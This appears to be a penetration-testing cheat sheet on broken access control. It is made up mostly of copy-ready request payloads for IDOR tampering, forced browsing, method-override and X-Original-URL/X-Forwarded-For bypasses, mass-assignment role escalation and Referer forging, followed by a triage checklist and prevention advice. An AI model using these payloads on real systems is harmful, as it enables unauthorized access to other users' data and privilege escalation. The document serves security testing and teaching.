Broken Access Control: The Complete Practical Guide
Broken Access Control Cheat Sheet
A dense, copy-pasteable access control reference: IDOR tampering, forced browsing, method/header-override bypass, role escalation, and a triage checklist.
Published
Every access control probe you reach for, in one place. The core move never changes: keep your own low-privilege session, then try to reach data and actions that should not be yours. For the how and why behind each section, start at the broken access control guide. Lock it in on a free live target.
IDOR tampering (change the reference, keep your own session)
# Numeric
GET /api/orders/1003 -> 1002 / 1004 / 1 (walk ids, try low ids and 0)
GET /account?id=52 -> id=51 / id=1 / id=0
Edge cases: id=-1 / id=0 / id=99999999
# UUID / GUID (still often unauthorized server-side)
GET /files/9f1c...e2 -> swap for another UUID leaked via a list/search/export
# Encoded ids: decode, change, re-encode
base64: MTAwMw== -> 1003 -> 1002 -> MTAwMg==
hex: 31303033 -> 1003 -> 1002 -> 31303032
nested: {"uid":"NTI="} -> base64 -> 52 -> 51 -> {"uid":"NTE="}
# Where the reference hides
Path: /api/v1/users/{id}/card
Query: ?userId= ?account= ?doc=
Body: {"orderId":1003} {"ownerId":52}
Header: X-User-Id: 52 Cookie: uid=52
# Write-IDOR (not just read)
PUT /api/users/52/email {"email":"[email protected]"} (edit someone else)
DELETE /api/posts/4410 (delete someone else)See IDOR and BOLA.
Forced browsing / admin-path discovery
/admin /admin/ /administrator /admin.php
/admin/dashboard /admin/users /admin/config /console
/manage /management /internal /debug
/api/admin /api/internal /actuator /actuator/env
/backup /export /reports/all
# Try each as the low-priv user AND as an anonymous user.
# If the UI hides a button, the endpoint behind it may still be live.HTTP method / verb tampering
# If GET /admin/delete?id=5 is blocked, try other verbs on the same route
POST /admin/delete?id=5
PUT /api/users/52
DELETE /api/users/52
PATCH /api/users/52 {"role":"admin"}
# Method-override headers / field (framework may honour these over the real verb)
X-HTTP-Method-Override: PUT
X-HTTP-Method: DELETE
X-Method-Override: PATCH
_method=DELETE (form/body override in some frameworks)
# Verbs a gate may not cover
HEAD / OPTIONS / TRACEHeader-override bypass (make the gate route you somewhere allowed)
# Rewrite the path the app sees, past a proxy rule that only allows /public
GET /public HTTP/1.1
X-Original-URL: /admin
GET /public HTTP/1.1
X-Rewrite-URL: /admin
# Source-IP trust (internal-only admin gated on client IP)
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Forwarded-For: 10.0.0.1
True-Client-IP: 127.0.0.1
Forwarded: for=127.0.0.1See platform misconfiguration.
Role / parameter escalation
# Hidden params / flags (add them even if the UI never sends them)
?admin=true ?role=admin ?is_admin=1 ?debug=1
&roleid=1 &access_level=9 &group=administrators
# Mass assignment in the body (set what the form never exposed)
POST /api/profile
{"name":"me","email":"[email protected]","role":"admin"}
{"username":"me","isAdmin":true,"accountType":"enterprise"}
{"id":52,"ownerId":1,"permissions":["*"]} (also seize ownership)
# Form-encoded equivalent
name=me&[email protected]&role=admin&isAdmin=true
# Cookie / header carried role
Cookie: role=admin; isAdmin=true
X-Role: adminSee parameter-based access control and mass assignment.
Referer-based bypass
# App "protects" /admin by requiring you came from an allowed page
GET /admin/deleteUser?id=5 HTTP/1.1
Referer: https://target.example/admin (forge the allowed origin)
# Some gates only check the Referer is present / same-host
Referer: https://target.example/See Referer and Location-based bypass.
URL-matching discrepancy tricks
/admin vs /admin/ vs /ADMIN
/admin vs /admin/. vs /%2e/admin
/admin vs /admin%2f.. vs /%252e/admin (double-encoded)
/admin/users vs /admin;foo/users
/admin vs /admin.json /admin;.css (extension / matrix tricks)See URL-matching discrepancies.
Access-control triage checklist
[ ] Enumerate every role; log every endpoint each role can hit.
[ ] Replay each privileged request as a lower-priv user: does it still work?
[ ] Replay each request as an UNauthenticated user.
[ ] Tamper every id/reference (numeric, UUID, encoded) to a peer's value.
[ ] Try forced browsing to admin paths the UI hides.
[ ] Try other HTTP verbs + method-override headers on blocked routes.
[ ] Add X-Original-URL / X-Rewrite-URL to reach gated paths.
[ ] Add role/admin params and mass-assign role in the body.
[ ] Forge Referer for referer-gated actions.
[ ] Jump steps in multistep flows; re-check the role at each step.Prevention
- Deny by default. Grant access only through explicit allow rules, evaluated server-side on every single request, never once at login.
- Authorize the object, not just the route. Confirm the current user owns or is permitted the specific record before returning or mutating it.
- Never trust client-supplied authorization data: roles, flags, ids-of-self, headers (
X-Original-URL,X-Forwarded-For,Referer), or method overrides. - Bind write fields with an allow-list. Never auto-bind the whole request body, so
role,isAdmin, and ownership keys can never be set by the client. - Use unpredictable references as defense in depth, but authorize every reference anyway.
- Normalize URLs identically at the gateway and the app, enforce role checks at every step of multistep flows, and alert on authorization failures. Full detail in the guide.
← Back to Broken Access Control: The Complete Practical Guide